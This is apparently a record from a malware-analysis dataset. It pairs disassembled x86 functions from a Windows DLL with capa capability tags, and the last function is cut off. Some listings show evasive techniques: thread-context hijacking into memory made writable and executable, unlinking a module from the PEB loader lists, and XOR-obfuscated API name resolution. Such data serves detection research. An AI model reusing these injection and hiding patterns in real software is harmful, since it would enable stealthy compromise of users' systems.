joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10021e10
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x100aa355
mov eax, dword fs:[0]
push eax
sub esp, 0x2c
mov eax, dword [0x100c90c0]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov ebx, ecx
cmp byte [0x100ce578], 0
je 0x10021f1a
mov esi, dword [sym.imp.KERNEL32.dll_GetTickCount64]
call esi
sub eax, dword [0x100ce5d8]
sbb edx, dword [0x100ce5dc]
jne 0x10021e6b
cmp eax, 0x3e8
jb 0x10021f31
call esi
push ecx
lea ecx, [ebp - 0x2c]
mov dword [0x100ce5d8], eax
mov dword [0x100ce5dc], edx
call fcn.10012000
push 0x1000
call fcn.10012700
mov dword [ebp - 4], 0
mov edi, dword [ebp - 0x18]
mov esi, edi
mov edx, dword [ebp - 0x1c]
sub esi, edx
mov dword [ebp - 0x2c], vtable.Packet.0
cmp esi, 0x989680
ja 0x10021ee9
mov ecx, dword [ebp - 0x20]
inc ecx
cmp esi, ecx
jae 0x10021edf
mov eax, dword [ebp - 0x14]
sub eax, edx
cmp ecx, eax
jbe 0x10021ec8
push ecx
push ecx
lea ecx, [ebp - 0x1c]
call fcn.100127b0
jmp 0x10021edc
sub ecx, esi
push ecx
push 0
push edi
lea esi, [edi + ecx]
call fcn.10087b80
add esp, 0xc
mov dword [ebp - 0x18], esi
mov edx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x20]
mov byte [edx + eax], 0xa1
inc dword [ebp - 0x20]
push 0xa4
lea ecx, [ebp - 0x2c]
mov dword [ebp - 4], 1
call fcn.10023ed0
push ebx
mov ecx, eax
call fcn.10022a30
lea ecx, [ebp - 0x2c]
call fcn.10024070
mov edx, dword [ebp - 0x18]
mov ecx, eax
sub edx, dword [ebp - 0x1c]
call fcn.1001cc40
push 9
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.10085995
mov esp, ebp
pop ebp
ret
Function at 0x10028e30
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x54
mov eax, dword [0x100c90c0]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push 0x100af13c
push 0x64
mov edi, edx
mov esi, ecx
call fcn.10085e0c
mov ebx, eax
add esp, 8
test ebx, ebx
je 0x1002900d
push 0x64
push 0
push ebx
call fcn.10087b80
mov byte [ebx], 1
lea eax, [ebx + 0x34]
xorps xmm0, xmm0
add esp, 0xc
movups xmmword [ebx + 0x10], xmm0
movq qword [ebx + 0x20], xmm0
mov dword [ebx + 0x28], 0
push eax
mov dword [ebx + 8], 0
mov dword [ebx + 0xc], 0
mov dword [ebx + 0x2c], 0xffffffff
mov dword [ebx + 4], 2
mov dword [ebx + 0x30], 0
call fcn.100824df
add esp, 4
mov dword [0x100ffe00], ebx
lea eax, [ebp - 0x48]
xorps xmm0, xmm0
movq qword [ebx + 0x5c], xmm0
push 0x20
push eax
push 0xffffffffffffffff
push esi
push 0
push 0xfde9
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
xor edx, edx
lea ecx, [ebp - 0x48]
call fcn.100279f0
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
push 0x100cb118
mov dword [0x100ffe04], eax
call fcn.100825b0
add esp, 4
test eax, eax
jne 0x10029028
mov eax, dword [0x100cb144]
cmp eax, 0x7fffffff
je 0x1002902f
test edi, edi
je 0x10028f25
movups xmm0, xmmword [edi]
movups xmmword [0x100ffce8], xmm0
movq xmm0, qword [edi + 0x10]
jmp 0x10028f2f
xorps xmm0, xmm0
movups xmmword [0x100ffce8], xmm0
movq qword [0x100ffcf8], xmm0
xorps xmm0, xmm0
push 0x100cb118
movups xmmword [0x100fff08], xmm0
movq qword [0x100fff18], xmm0
call fcn.100825c1
add esp, 4
cmp dword [0x10103f24], 0
jne 0x10029017
mov dword [0x100ef990], 0x100cb110
test esi, esi
je 0x10028f98
cmp byte [esi], 0
mov ecx, 0x100ef9a0
je 0x10028f95
mov edx, 1
sub edx, esi
lea eax, [esi + edx]
cmp eax, 0x40
jae 0x10028f95
mov al, byte [esi]
inc esi
mov byte [ecx], al
inc ecx
cmp byte [esi], 0
jne 0x10028f82
mov byte [ecx], 0
mov esi, dword [0x100ffe00]
mov al, 1
mov dword [0x10103f24], 0x100ef990
mov dword [0x100ef998], 0x10029490
mov dword [0x100ef99c], 0x100294a0
xchg byte [esi], al
push 4
call fcn.100859a3
add esp, 4
lea ecx, [ebp - 0x4c]
mov dword [eax], esi
push ecx
push 0
push eax
push 0x10029930
push 0
push 0
call fcn.100920c7
mov ecx, eax
add esp, 0x18
mov dword [ebp - 0x50], ecx
test ecx, ecx
je 0x10029041
cmp dword [esi + 0x60], 0
jne 0x1002903c
mov eax, dword [ebp - 0x4c]
mov dword [esi + 0x5c], ecx
mov dword [esi + 0x60], eax
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10085995
mov esp, ebp
pop ebp
ret
mov dword [0x100ffe00], 0
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.10085995
mov esp, ebp
pop ebp
ret
push 5
call fcn.10082558
dec eax
push 6
mov dword [0x100cb144], eax
call fcn.10082558
call fcn.10092158
push 6
mov dword [ebp - 0x4c], 0
call fcn.10082558
int3
Function at 0x1002a130
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [0x100c90c0]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
push esi
mov esi, dword [ebp + 0xc]
push edi
mov edi, dword [0x10103f24]
push esi
push eax
mov dword [edi + 0x154], 1
lea eax, [edi + 0x15c]
lea ebx, [edi + 0x154]
push eax
call fcn.10087600
add esp, 0xc
mov dword [edi + 0x158], esi
add esi, 8
je 0x1002a202
mov eax, dword [edi]
test eax, eax
je 0x1002a1b1
mov eax, dword [eax + 4]
cmp eax, 0xffffffff
je 0x1002a1b1
test ebx, ebx
je 0x1002a1b1
push 0
lea ecx, [ebp - 8]
mov dword [ebp - 8], 0
push ecx
push esi
push ebx
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
cmp eax, 1
jne 0x1002a1b1
cmp dword [ebp - 8], esi
je 0x1002a202
mov ecx, dword [edi + 0xc]
test ecx, ecx
je 0x1002a1d1
mov eax, dword [edi + 4]
cmp eax, 3
je 0x1002a1c5
cmp eax, 1
jne 0x1002a1d1
lea eax, [edi + 0x54]
push eax
push dword [edi + 0x50]
call ecx
add esp, 8
mov esi, dword [edi]
push dword [esi + 4]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [esi + 4], 0xffffffff
xor al, al
mov byte [esi], 0
mov dword [edi + 4], 0
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10085995
mov esp, ebp
pop ebp
ret 8
mov ecx, dword [ebp - 4]
mov al, 1
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.10085995
mov esp, ebp
pop ebp
ret 8
Function at 0x1002d140
Capabilities:
Allocate or change rwx memory
Create thread
Hijack thread execution
Resume thread
Spawn thread to rwx shellcode
Suspend thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2f8
mov eax, dword [0x100c90c0]
xor eax, ebp
mov dword [ebp - 4], eax
mov cl, 0x5c
mov dword [ebp - 0x2f8], 0x30280e5c
mov dword [ebp - 0x2f4], 0x383d3310
xor eax, eax
mov dword [ebp - 0x2f0], 0x352e280f
mov word [ebp - 0x2ec], 0x3b32
mov byte [ebp - 0x2ea], 0
xor byte [ebp + eax - 0x2f7], cl
inc eax
cmp eax, 0xd
jae 0x1002d19a
mov cl, byte [ebp - 0x2f8]
jmp 0x1002d185
push ebx
mov byte [ebp - 0x2e8], 0xd
mov al, 0x63
xor al, byte [ebp - 0x2e8]
mov bl, 0x61
mov ah, bl
mov byte [ebp - 0x2e7], al
mov al, byte [ebp - 0x2e8]
mov dl, 0x69
mov bh, ah
mov byte [ebp - 0x2d9], ah
mov dh, dl
mov byte [ebp - 0x2de], 0
xor dl, al
mov byte [ebp - 0x2ea], 0
xor bl, al
mov byte [ebp - 0x2e5], dl
xor ah, al
mov byte [ebp - 0x2e4], bl
xor dh, al
mov byte [ebp - 0x2e3], ah
xor bh, al
mov byte [ebp - 0x2e1], dh
mov cl, 0x79
mov byte [ebp - 0x2e0], bh
xor cl, al
mov byte [ebp - 0x2de], 0
mov ch, 0x23
mov byte [ebp - 0x2e6], cl
xor ch, al
mov al, byte [ebp - 0x2d9]
xor al, byte [ebp - 0x2e8]
mov byte [ebp - 0x2df], al
lea eax, [ebp - 0x2e7]
push esi
push eax
mov byte [ebp - 0x2e2], ch
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea ecx, [ebp - 0x2f7]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, eax
add esi, 0x430
je 0x1002d312
lea eax, [ebp - 8]
mov dword [ebp - 8], 0
push eax
push 0x40
push 0x1000
push esi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x1002d312
push 0x2c8
lea eax, [ebp - 0x2d4]
push 0
push eax
call fcn.10087b80
add esp, 0xc
lea eax, [ebp - 0xc]
push eax
push 0
push 0
push esi
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov esi, eax
test esi, esi
je 0x1002d312
push esi
call dword [sym.imp.KERNEL32.dll_SuspendThread]
cmp eax, 0xffffffff
je 0x1002d312
lea eax, [ebp - 0x2d8]
mov dword [ebp - 0x2d8], 0x10002
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetThreadContext]
test eax, eax
je 0x1002d312
lea eax, [ebp - 0x2d8]
mov dword [ebp - 0x228], 0x10001f50
push eax
push esi
mov dword [ebp - 0x2d8], 0x10002
call dword [sym.imp.KERNEL32.dll_SetThreadContext]
test eax, eax
je 0x1002d312
push esi
call dword [sym.imp.KERNEL32.dll_ResumeThread]
xor ecx, ecx
cmp eax, 0xffffffff
cmove esi, ecx
mov eax, esi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10085995
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 4]
xor eax, eax
pop esi
xor ecx, ebp
pop ebx
call fcn.10085995
mov esp, ebp
pop ebp
ret
Function at 0x1002d330
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
movaps xmm0, xmmword [0x100bf4c0]
xor eax, eax
push ebx
push esi
push edi
mov esi, ecx
mov dword [ebp - 0x18], 0x3a201c26
movups xmmword [ebp - 0x28], xmm0
mov dword [ebp - 0x14], 0x2c292d
mov cl, byte [ebp - 0x28]
xor byte [ebp + eax - 0x27], cl
inc eax
cmp eax, 0x16
jb 0x1002d356
mov byte [ebp - 0x10], 0x5b
mov al, 0x35
xor al, byte [ebp - 0x10]
mov bl, 0x37
mov ah, bl
mov byte [ebp - 0xf], al
mov al, byte [ebp - 0x10]
mov dl, 0x3f
mov bh, ah
mov byte [ebp - 1], ah
mov dh, dl
mov byte [ebp - 6], 0
xor dl, al
mov byte [ebp - 0x11], 0
xor bl, al
mov byte [ebp - 0xd], dl
xor ah, al
mov byte [ebp - 0xc], bl
xor dh, al
mov byte [ebp - 0xb], ah
xor bh, al
mov byte [ebp - 9], dh
mov cl, 0x2f
mov byte [ebp - 8], bh
xor cl, al
mov byte [ebp - 6], 0
mov ch, 0x75
mov byte [ebp - 0xe], cl
xor ch, al
mov al, byte [ebp - 1]
xor al, byte [ebp - 0x10]
mov byte [ebp - 7], al
lea eax, [ebp - 0xf]
push eax
mov byte [ebp - 0xa], ch
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea ecx, [ebp - 0x27]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edi, eax
test edi, edi
je 0x1002d404
push 0
push 0
push 0x11
test esi, esi
jne 0x1002d3f5
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
push eax
call edi
test eax, eax
sete al
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push esi
call edi
test eax, eax
sete al
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
pop edi
pop esi
xor al, al
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x1002d410
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
mov dword [ebp - 8], ecx
mov dword [ebp - 4], 0
pushal
pushfd
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov dword [ebp - 4], eax
mov esi, dword [eax + 0xc]
mov edx, dword [eax + 0x10]
lodsd eax, dword [esi]
mov esi, eax
mov ecx, dword [eax + 0x18]
cmp ecx, dword [ebp - 8]
jne 0x1002d44e
mov ebx, dword [eax]
mov ecx, dword [eax + 4]
mov dword [ecx], ebx
mov dword [ebx + 4], ecx
jmp 0x1002d452
cmp edx, esi
jne 0x1002d437
mov eax, dword [ebp - 4]
mov esi, dword [eax + 0x14]
mov edx, dword [eax + 0x18]
lodsd eax, dword [esi]
mov esi, eax
mov ecx, dword [eax + 0x10]
cmp ecx, dword [ebp - 8]
jne 0x1002d472
mov ebx, dword [eax]
mov ecx, dword [eax + 4]
mov dword [ecx], ebx
mov dword [ebx + 4], ecx
jmp 0x1002d476
cmp edx, esi
jne 0x1002d45b
mov eax, dword [ebp - 4]
mov esi, dword [eax + 0x1c]
mov edx, dword [eax + 0x20]
lodsd eax, dword [esi]
mov esi, eax
mov ecx, dword [eax + 8]
cmp ecx, dword [ebp - 8]
jne 0x1002d496
mov ebx, dword [eax]
mov ecx, dword [eax + 4]
mov dword [ecx], ebx
mov dword [ebx + 4], ecx
jmp 0x1002d49a
cmp edx, esi
jne 0x1002d47f
popfd
popal
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x1002fb00
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x100aab6d
mov eax, dword fs:[0]
push eax
sub esp, 0x48
push esi
push edi
mov eax, dword [0x100c90c0]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
mov edx, dword [ebp + 8]
mov eax, dword [esi + 8]
mov dword [0x100ce630], eax
test edx, edx
je 0x1002fcb8
cmp dword [ebp + 0xc], 1
jne 0x1002fcb8
mov eax, dword [esi + 4]
test eax, eax
je 0x1002fca3
cmp edx, eax
jne 0x1002fca3
cmp byte [0x100ce58a], 0
sete al
xor ecx, ecx
mov byte [0x100ce58a], al
test al, al
je 0x1002fb96
movaps xmm0, xmmword [0x100bf610]
movups xmmword [ebp - 0x40], xmm0
mov word [ebp - 0x30], 0x2c
nop
mov al, byte [ebp - 0x40]
xor byte [ebp + ecx - 0x3f], al
inc ecx
cmp ecx, 0x10
jb 0x1002fb80
mov byte [ebp - 0x2f], 0
lea edx, [ebp - 0x3f]
jmp 0x1002fbb9
movaps xmm0, xmmword [0x100bf2d0]
movups xmmword [ebp - 0x54], xmm0
mov byte [ebp - 0x44], 0
mov al, byte [ebp - 0x54]
xor byte [ebp + ecx - 0x53], al
inc ecx
cmp ecx, 0xf
jb 0x1002fba5
mov byte [ebp - 0x44], 0
lea edx, [ebp - 0x53]
mov ecx, edx
mov dword [ebp - 0x1c], 0
xorps xmm0, xmm0
mov dword [ebp - 0x18], 0
movups xmmword [ebp - 0x2c], xmm0
lea edi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x1002fbd3
sub ecx, edi
push ecx
push edx
lea ecx, [ebp - 0x2c]
call fcn.10002620
mov dword [ebp - 4], 0
mov eax, dword [esi]
mov esi, dword [ebp - 0x2c]
mov dword [ebp - 0x14], eax
test eax, eax
je 0x1002fc74
push 4
push eax
call dword [sym.imp.KERNEL32.dll_IsBadReadPtr]
test eax, eax
jne 0x1002fc74
cmp dword [ebp - 0x18], 0xf
lea ecx, [ebp - 0x2c]
cmova ecx, esi
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x1002fc13
sub ecx, edx
mov dword [ebp - 0x10], ecx
lea esi, [ecx + 0x21]
push esi
call fcn.10085d23
push esi
mov edi, eax
push 0
push edi
call fcn.10087b80
cmp dword [ebp - 0x18], 0xf
lea edx, [ebp - 0x2c]
push dword [ebp - 0x10]
cmova edx, dword [ebp - 0x2c]
lea esi, [edi + 0x20]
push edx
push esi
call fcn.10087600
mov eax, dword [ebp - 0x10]
add esp, 0x1c
mov ecx, dword [ebp - 0x14]
mov dword [edi + 4], esi
mov dword [edi + 0x14], eax
push edi
mov dword [edi + 0x18], 0x1f
call dword [0x100bd660]
push edi
call fcn.10085d1e
mov esi, dword [ebp - 0x2c]
add esp, 4
mov eax, dword [ebp - 0x18]
cmp eax, 0xf
jbe 0x1002fca3
lea ecx, [eax + 1]
mov eax, esi
cmp ecx, 0x1000
jb 0x1002fc99
mov esi, dword [eax - 4]
add ecx, 0x23
sub eax, esi
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1002fccd
push ecx
push esi
call fcn.100859f6
add esp, 8
mov al, 1
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov esp, ebp
pop ebp
ret 8
xor al, al
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov esp, ebp
pop ebp
ret 8
call fcn.1008ac0f
int3
Function at 0x1002ff90
Capabilities:
Access peb ldr_data
Get number of processors

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x100aab9d
mov eax, dword fs:[0]
push eax
sub esp, 0x28
mov eax, dword [0x100c90c0]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, ecx
mov dword [ebp - 0x28], edi
or eax, 0xffffffff
mov dword [ebp - 0x14], 0
mov dword [edi + 0x38], eax
lea ecx, [ebp - 0x34]
mov word [edi + 0x3c], ax
xorps xmm0, xmm0
lea eax, [ebp - 0x28]
movq qword [ebp - 0x1c], xmm0
sub eax, ecx
mov dword [edi + 0x14], 0
mov dword [ebp - 0x20], eax
sar eax, 2
mov dword [edi + 0x10], 0
mov dword [edi + 0xc], 0
mov dword [edi + 8], 0
mov dword [edi + 4], 0
mov dword [edi + 0x28], 0
mov dword [edi + 0x24], 0
mov dword [edi + 0x20], 0
mov dword [edi + 0x1c], 0
mov dword [edi + 0x18], 0
mov dword [edi + 0x34], 0
mov dword [edi + 0x30], 0
mov dword [edi + 0x2c], 0
mov dword [ebp - 0x34], 0x350
mov dword [ebp - 0x30], 0x140
mov dword [ebp - 0x2c], 0
mov dword [ebp - 0x1c], 0
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x14], 0
mov dword [ebp - 0x24], eax
test eax, eax
je 0x10030097
push eax
lea ecx, [ebp - 0x1c]
call fcn.1002f0a0
push dword [ebp - 0x20]
mov esi, dword [ebp - 0x1c]
lea eax, [ebp - 0x34]
push eax
push esi
call fcn.10087600
mov eax, dword [ebp - 0x24]
add esp, 0xc
lea eax, [esi + eax*4]
mov dword [ebp - 0x18], eax
sub esp, 0xc
mov dword [ebp - 4], 0
mov esi, esp
mov dword [ebp - 0x24], esi
mov dword [esi], 0
mov dword [esi + 4], 0
mov dword [esi + 8], 0
mov eax, dword [ebp - 0x18]
sub eax, dword [ebp - 0x1c]
sar eax, 2
test eax, eax
je 0x100300f3
push eax
mov ecx, esi
call fcn.1002f0a0
mov edi, dword [esi]
mov esi, dword [ebp - 0x18]
mov eax, dword [ebp - 0x1c]
sub esi, eax
push esi
push eax
push edi
call fcn.10087600
mov ecx, dword [ebp - 0x24]
add esp, 0xc
sar esi, 2
lea eax, [edi + esi*4]
mov edi, dword [ebp - 0x28]
mov dword [ecx + 4], eax
mov ecx, 0xd78d54
call fcn.1001cb80
mov esi, dword [sym.imp.KERNEL32.dll_IsBadReadPtr]
add esp, 0xc
mov dword [edi], eax
push 4
push 0x4de1e6
call esi
test eax, eax
jne 0x10030124
mov edx, 0x10032a10
mov ecx, 0x4de1e6
call fcn.10021b30
mov eax, dword [edi]
test eax, eax
je 0x1003018c
push 4
push eax
call esi
test eax, eax
jne 0x1003018c
mov ecx, edi
call fcn.100301c0
cmp dword [0x100ce640], 0
jne 0x10030192
mov eax, dword [edi]
mov dword [ebp - 0x20], eax
test eax, eax
je 0x1003016e
push 4
push eax
call esi
test eax, eax
jne 0x1003016e
mov eax, dword [ebp - 0x20]
push 4
add eax, 0x64
push eax
call esi
test eax, eax
jne 0x1003016e
mov eax, dword [ebp - 0x20]
mov esi, dword [eax]
add esi, 0x64
jmp 0x10030170
xor esi, esi
mov eax, dword [esi]
push 4
push eax
mov dword [0x100ce640], eax
call dword [sym.imp.KERNEL32.dll_IsBadReadPtr]
test eax, eax
jne 0x10030192
mov dword [esi], 0x10032a40
jmp 0x10030192
mov dword [edi], 0
lea ecx, [ebp - 0x1c]
call fcn.10013e60
mov eax, edi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.10085995
mov esp, ebp
pop ebp
ret
Function at 0x10040850
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff0
sub esp, 0x48
movaps xmm0, xmmword [str._roycRdhjhzl]
push esi
mov esi, ecx
mov dword [esp + 0x18], 0x647e5268
push edi
mov dword [esp + 8], esi
xor ecx, ecx
movups xmmword [esp + 0xc], xmm0
mov dword [esp + 0x20], 0x796c7879
mov dword [esp + 0x24], 0x636264
mov al, byte [esp + 0xc]
xor byte [esp + ecx + 0xd], al
inc ecx
cmp ecx, 0x1a
jb 0x10040887
xorps xmm0, xmm0
mov byte [esp + 0x27], 0
lea ecx, [esp + 0xd]
movaps xmmword [esp + 0x30], xmm0
mov dword [esp + 0x40], 0
lea edx, [ecx + 1]
mov dword [esp + 0x44], 0
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x100408c0
sub ecx, edx
lea eax, [esp + 0xd]
push ecx
push eax
lea ecx, [esp + 0x38]
call fcn.10002620
cmp dword [esp + 0x40], 0
mov edi, dword [esi]
mov dword [esp + 0x28], edi
je 0x1004095c
test edi, edi
je 0x1004095c
push 4
push edi
call dword [sym.imp.KERNEL32.dll_IsBadReadPtr]
test eax, eax
jne 0x1004095c
mov eax, dword [edi + 0xc4]
mov dword [esp + 0x2c], eax
mov esi, dword [eax]
cmp esi, eax
je 0x10040958
cmp esi, dword [edi + 0xc4]
jne 0x10040913
call fcn.1008abff
mov edi, dword [esi + 8]
test edi, edi
je 0x1004093f
cmp dword [edi + 0x78], 0x10
lea ecx, [edi + 0x64]
jb 0x10040925
mov ecx, dword [ecx]
cmp dword [esp + 0x44], 0xf
lea eax, [esp + 0x30]
cmova eax, dword [esp + 0x30]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
je 0x1004098b
mov edi, dword [esp + 0x28]
cmp esi, dword [edi + 0xc4]
jne 0x10040950
call fcn.1008abff
mov esi, dword [esi]
cmp esi, dword [esp + 0x2c]
jne 0x10040906
mov esi, dword [esp + 8]
xor edi, edi
mov ecx, dword [esp + 0x44]
mov dword [esi + 4], edi
cmp ecx, 0xf
jbe 0x1004099b
mov edx, dword [esp + 0x30]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x10040991
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x100409be
jmp 0x10040991
mov esi, dword [esp + 8]
jmp 0x1004095e
push ecx
push edx
call fcn.100859f6
add esp, 8
mov esi, dword [esi]
test esi, esi
je 0x100409b8
push 4
push esi
call dword [sym.imp.KERNEL32.dll_IsBadReadPtr]
test eax, eax
jne 0x100409b8
push 0x14
mov ecx, esi
call dword [0x100bd610]
pop edi
pop esi
mov esp, ebp
pop ebp
ret
call fcn.1008ac0f
int3
Function at 0x10045210
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff0
sub esp, 0x48
movaps xmm0, xmmword [str._roycRnelyRn]
xor edx, edx
push esi
push edi
mov edi, ecx
mov dword [esp + 0x1c], edi
movups xmmword [esp + 0x20], xmm0
nop
mov al, byte [esp + 0x20]
xor byte [esp + edx + 0x21], al
inc edx
cmp edx, 0xe
jb 0x10045230
xorps xmm0, xmm0
mov byte [esp + 0x2f], 0
lea ecx, [esp + 0x21]
movaps xmmword [esp + 0x30], xmm0
mov dword [esp + 0x40], 0
lea edx, [ecx + 1]
mov dword [esp + 0x44], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x10045262
sub ecx, edx
lea eax, [esp + 0x21]
push ecx
push eax
lea ecx, [esp + 0x38]
call fcn.10002620
cmp dword [esp + 0x40], 0
mov edi, dword [edi]
mov dword [esp + 0x14], edi
je 0x100452fa
test edi, edi
je 0x100452fa
push 4
push edi
call dword [sym.imp.KERNEL32.dll_IsBadReadPtr]
test eax, eax
jne 0x100452fa
mov eax, dword [edi + 0xc4]
mov dword [esp + 0x18], eax
mov esi, dword [eax]
cmp esi, eax
je 0x100452fa
cmp esi, dword [edi + 0xc4]
jne 0x100452b5
call fcn.1008abff
mov edi, dword [esi + 8]
test edi, edi
je 0x100452e1
cmp dword [edi + 0x78], 0x10
lea ecx, [edi + 0x64]
jb 0x100452c7
mov ecx, dword [ecx]
cmp dword [esp + 0x44], 0xf
lea eax, [esp + 0x30]
cmova eax, dword [esp + 0x30]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
je 0x100452fc
mov edi, dword [esp + 0x14]
cmp esi, dword [edi + 0xc4]
jne 0x100452f2
call fcn.1008abff
mov esi, dword [esi]
cmp esi, dword [esp + 0x18]
jne 0x100452a8
xor edi, edi
mov eax, dword [esp + 0x1c]
mov ecx, dword [esp + 0x44]
mov dword [eax + 4], edi
cmp ecx, 0xf
jbe 0x10045335
mov edx, dword [esp + 0x30]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x1004532b
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1004533b
push ecx
push edx
call fcn.100859f6
add esp, 8
pop edi
pop esi
mov esp, ebp
pop ebp
ret
call fcn.1008ac0f
int3
Function at 0x100816c0
Capabilities:
Hash data with md5

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x100acfcd
mov eax, dword fs:[0]
push eax
sub esp, 0x7c
mov eax, dword [0x100c90c0]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
mov dword [ebp - 0x14], esi
mov dword [ebp - 0x14], esi
mov dword [ebp - 4], 0
lea eax, [ebp + 8]
cmp dword [ebp + 0x1c], 0xf
lea ecx, [ebp - 0x84]
push dword [ebp + 0x18]
cmova eax, dword [ebp + 8]
push eax
mov byte [ebp - 0x84], 0
mov dword [ebp - 0x40], 0
mov dword [ebp - 0x3c], 0
mov dword [ebp - 0x38], 0x67452301
mov dword [ebp - 0x34], 0xefcdab89
mov dword [ebp - 0x30], 0x98badcfe
mov dword [ebp - 0x2c], 0x10325476
call fcn.10081560
cmp byte [ebp - 0x84], 0
jne 0x10081811
xor ecx, ecx
lea edx, [ebp - 0x3f]
movzx eax, byte [edx - 1]
lea edx, [edx + 4]
mov byte [ebp + ecx - 0x18], al
movzx eax, byte [edx - 4]
mov byte [ebp + ecx - 0x17], al
movzx eax, byte [edx - 3]
mov byte [ebp + ecx - 0x16], al
movzx eax, byte [edx - 2]
mov byte [ebp + ecx - 0x15], al
add ecx, 4
cmp ecx, 8
jb 0x10081755
mov edx, dword [ebp - 0x40]
mov ecx, 0x78
shr edx, 3
mov eax, 0x38
and edx, 0x3f
sub ecx, edx
sub eax, edx
cmp edx, 0x38
cmovae eax, ecx
lea ecx, [ebp - 0x84]
push eax
push 0x100cc540
call fcn.10081560
push 8
lea eax, [ebp - 0x18]
push eax
lea ecx, [ebp - 0x84]
call fcn.10081560
xor ecx, ecx
lea edx, [ebp - 0x37]
movzx eax, byte [edx - 1]
lea edx, [edx + 4]
mov byte [ebp + ecx - 0x28], al
movzx eax, byte [edx - 4]
mov byte [ebp + ecx - 0x27], al
movzx eax, byte [edx - 3]
mov byte [ebp + ecx - 0x26], al
movzx eax, byte [edx - 2]
mov byte [ebp + ecx - 0x25], al
add ecx, 4
cmp ecx, 0x10
jb 0x100817c4
push 0x40
lea eax, [ebp - 0x83]
push 0
push eax
call fcn.10087b80
xorps xmm0, xmm0
mov byte [ebp - 0x84], 1
add esp, 0xc
movq qword [ebp - 0x40], xmm0
push esi
lea ecx, [ebp - 0x84]
call fcn.10081610
mov ecx, dword [ebp + 0x1c]
cmp ecx, 0xf
jbe 0x1008184d
mov edx, dword [ebp + 8]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x10081843
mov edx, dword [eax - 4]
